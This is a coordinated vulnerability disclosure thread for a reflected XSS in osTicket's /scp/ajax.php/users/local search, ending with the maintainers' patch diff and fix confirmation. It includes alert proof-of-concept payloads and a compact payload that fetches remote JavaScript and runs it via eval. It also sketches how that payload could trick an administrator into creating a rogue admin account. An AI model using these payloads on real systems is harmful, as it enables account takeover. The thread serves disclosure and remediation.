Reflected XSS in Username in osticket/osticket
Reported on
Jul 2nd 2022
Description
If a regular user's username is set to a XSS payload, and then that same XSS payload is placed in the q (query) parameter of /scp/ajax.php/users/local, then reflected XSS is achieved. This XSS can lead to complete takeover of the osTicket instance.
Proof of Concept
- Set a user's username to
<svg onload='alert(1)'>(such as in the agent panel). - Go to
http://osticket.domain.com/scp/ajax.php/users/local?q=<svg%20onload=%27alert(1)%27>- you should see the alert pop up.
How I Discovered the Vulnerability
I was exploring osTicket and found that when creating a user, there was a search function! Wanting to probe it, I opened up the link to the search in a new tab (aka instead of inline like it's made to do, if you open up http://osticket.domain.com/scp/ajax.php/users/local?q=your_query_here in another tab, it still works). The first thing I noticed was that the response was not of type application/json, but rather as text/html. I knew that if I could put a XSS payload in the results somewhere, I could point out a vulnerability.
The only fields returned were email, name, id number, and the search parameter q. Results were only shown if the query matched a relevant field; that meant that simply putting a XSS in the q parameter wouldn't work. I tried creating a new user and putting a XSS in the email or name fields, but it kept filtering it out each time (which I'm sure was intentional). I looked in the source code and noticed that /include/users.ajax.php not only searched in email and name, but also username, organization, and phone number. I logged in as an agent and changed the username for the test user to the XSS payload, stuck it in the query, and it worked!
So the username must be set to the XSS payload so when the XSS payload is also put in the query, it matches a user record and the XSS payload is reflected onto the page.
Impact
I was unsure how to rate the severity as first, so I did some extra exploitation and looking around to try to figure out the full extent of the vulnerability. First off, I could not figure out how anyone except an agent could set the username for a regular user. When signing in through the normal portal, the regular user can set email and name, but not username. Perhaps sending an email as a ticket will allow you to set your own username? Regardless, an agent without admin privileges could use this to XSS an administrator. Hence why privileges required are low - a non-admin agent isn't high since they don't have full reign over the application, but can still exploit the vulnerability. In addition, if there is some way for a user to set their username, then agent-status isn't even required.
I rated Confidentiality, Integrity, and Availability as high for all three since it's possible to create a XSS payload that, if trigged by an admin, will create a new agent on the osTicket instance with full admin rights and a known password. This would then allow the non-privileged agent to pivot to this new, privileged agent account and have full control of the osTicket instance. With full admin rights, they can fully violate confidentiality by reading all tickets, system logs, and enumerate all users. Integrity can be violated because ticket contents, system logs, passwords, and personal information can be modified in full by admins. Availability can be violated because the Admin Dashboard allows you to take the application offline.
Now, this payload that would add a new admin/agent would require multiple JavaScript fetch() statements to get the CSRF token and submit the form for creating a new admin. The problem that I then ran into was that the username field could only hold a maximum of 64 characters, which was too short for this payload. I tried using a <script src="http://my.domain.com/payload.js"></script> payload to import the JS from an external source, but found that slashes / were escaped with a \, and I couldn't close the <script> tag. After working with it for a while, I found that you could use another fetch() statement to get the JavaScript payload, and use eval()function to run it. As long as you have a domain with 8 characters in it, this would work (exactly 64 characters):
<svg onload='eval(await fetch(`//adoma.in`).then(r=>r.text()))'>
Suggested Remediation
First, I would suggest returning results from /scp/ajax.php/users/local as application/json, not text/html. This ensures that any HTML reflected is not run. Using formatcharson line 110 of /include/ajax.users.php for $_REQUEST['q'] would also be good.
Occurrences
ajax.users.php L110
The q parameter is pasted directly into the matches array without any filtering, and the matches array is echoed directly onto the search result page.
Thank you for the report. We understand the vulnerability and will post a patch here soon for you to test and confirm. If we have any questions we will let you know.
Below is the patch to address the issue. I would like to note that while the stored XSS is bad it will only be executed if the Agent is directed directly to the AJAX response in the browser which should never happen. Regardless, we still need to prevent stored XSS and potential code execution.
diff --git a/include/ajax.users.php b/include/ajax.users.php
index 55008661..f89bda41 100644
--- a/include/ajax.users.php
+++ b/include/ajax.users.php
@@ -34,7 +34,7 @@ class UsersAjaxAPI extends AjaxController {
if (!$_REQUEST['q'])
return $this->json_encode($matches);
- $q = $_REQUEST['q'];
+ $q = Format::sanitize($_REQUEST['q']);
$limit = isset($_REQUEST['limit']) ? (int) $_REQUEST['limit']:25;
$users=array();
$emails=array();
diff --git a/include/class.client.php b/include/class.client.php
index b7b48d3c..b2d32232 100644
--- a/include/class.client.php
+++ b/include/class.client.php
@@ -484,7 +484,7 @@ class ClientAccount extends UserAccount {
if ($vars['backend']) {
$this->set('backend', $vars['backend']);
if ($vars['username'])
- $this->set('username', $vars['username']);
+ $this->set('username', Format::sanitize($vars['username']));
}
if ($vars['passwd1']) {
diff --git a/include/class.user.php b/include/class.user.php
index 67f77503..08373d10 100644
--- a/include/class.user.php
+++ b/include/class.user.php
@@ -1320,7 +1320,7 @@ class UserAccount extends VerySimpleModel {
}
$this->set('timezone', $vars['timezone']);
- $this->set('username', $vars['username']);
+ $this->set('username', Format::sanitize($vars['username']));
if ($vars['passwd1']) {
$this->setPassword($vars['passwd1']);
@@ -1398,7 +1398,7 @@ class UserAccount extends VerySimpleModel {
));
if ($vars['username'] && strcasecmp($vars['username'], $user->getEmail()))
- $account->set('username', $vars['username']);
+ $account->set('username', Format::sanitize($vars['username']));
if ($vars['passwd1'] && !$vars['sendemail']) {
$account->set('passwd', Passwd::hash($vars['passwd1']));
diff --git a/include/staff/templates/user-account.tmpl.php b/include/staff/templates/user-account.tmpl.php
index d958ab27..6b796830 100644
--- a/include/staff/templates/user-account.tmpl.php
+++ b/include/staff/templates/user-account.tmpl.php
@@ -90,7 +90,7 @@ if ($info['error']) {
<?php echo __('Username'); ?>:
</td>
<td>
- <input type="text" size="35" name="username" value="<?php echo $info['username']; ?>" autocomplete="new-password">
+ <input type="text" size="35" name="username" value="<?php echo Format::htmlchars($info['username']); ?>" autocomplete="new-password">
<i class="help-tip icon-question-sign" data-title="<?php
echo __("Login via email"); ?>"
data-content="<?php echo sprintf('%s: %s',
diff --git a/include/staff/templates/user-register.tmpl.php b/include/staff/templates/user-register.tmpl.php
index 1fee0e6f..59f743f7 100644
--- a/include/staff/templates/user-register.tmpl.php
+++ b/include/staff/templates/user-register.tmpl.php
@@ -68,8 +68,8 @@ echo sprintf(__(
<?php echo __('Username'); ?>:
</td>
<td>
- <input type="text" size="35" name="username" value="<?php echo $info['username'] ?: $user->getEmail(); ?>">
- <span class="error"> <?php echo $errors['username']; ?></span>
+ <input type="text" size="35" name="username" value="<?php echo $info['username'] ? Format::htmlchars($info['username']) : $user->getEmail(); ?>">
+ <span class="error"> <?php echo Format::htmlchars($errors['username']); ?></span>
</td>
</tr>
</tbody>
We ask that you please test this patch and confirm it addresses the reported vulnerability. Also, we ask that you please keep your POC and this report private until we release a new version with the patch included. This will give people time to install the patch before the vulnerability is made public.
Cheers.
@legoclones
Any update on this?
Cheers.
Oh my goodness, I must've missed the email telling me you responded. I apologize. You are correct that this particular reflected XSS vulnerability is not something that would happen to an admin normally. However, if a vulnerable link is sent to the admin (through a ticket, personal correspondence, etc.), then the attack is still possible. So it must be paired with phishing to trick the admin into clicking on the link (as all reflected XSS is) to release the vulnerable payload.
I've taken a look at the patch, and can confirm that this vulnerability no longer exists. This is because the agent can no longer change usernames to include valid HTML. However, I would strongly recommend that you also apply Format::sanitize to line 110 of /include/ajax.users.php. You did put it on line 37 as is indicated in the first part of the patch posted here. However, the $q variable is not what is actually output, instead the $_REQUEST['q'] variable is directly accessed again on line 110. In the case that someone finds a way to successfully save usernames with a XSS payload inside, this attack would be possible again. So either reference $q on line 110, or use Format::sanitize on line 110 should sufficiently cover our bases.
@legoclones
I went ahead and replaced $_REQUEST['q'] with $q on line 110. Please let us know if you find anything else! We should be releasing this patch soon. I'll let you know once we've done so.
Thanks for all the work and patience thus far!
Cheers.
I see that this commit has finally been pushed to the codebase (https://github.com/osTicket/osTicket/commit/5213ff138c6be6144a6692376ac0803a42eca168). Can the report be validated/fix confirmed?
Hello Justin,
I am so sorry. I thought I had posted a reply to this ages ago. I went back and was reviewing previous emails and noticed I never posted a reply.
Yes, I will Resolve this.
Cheers.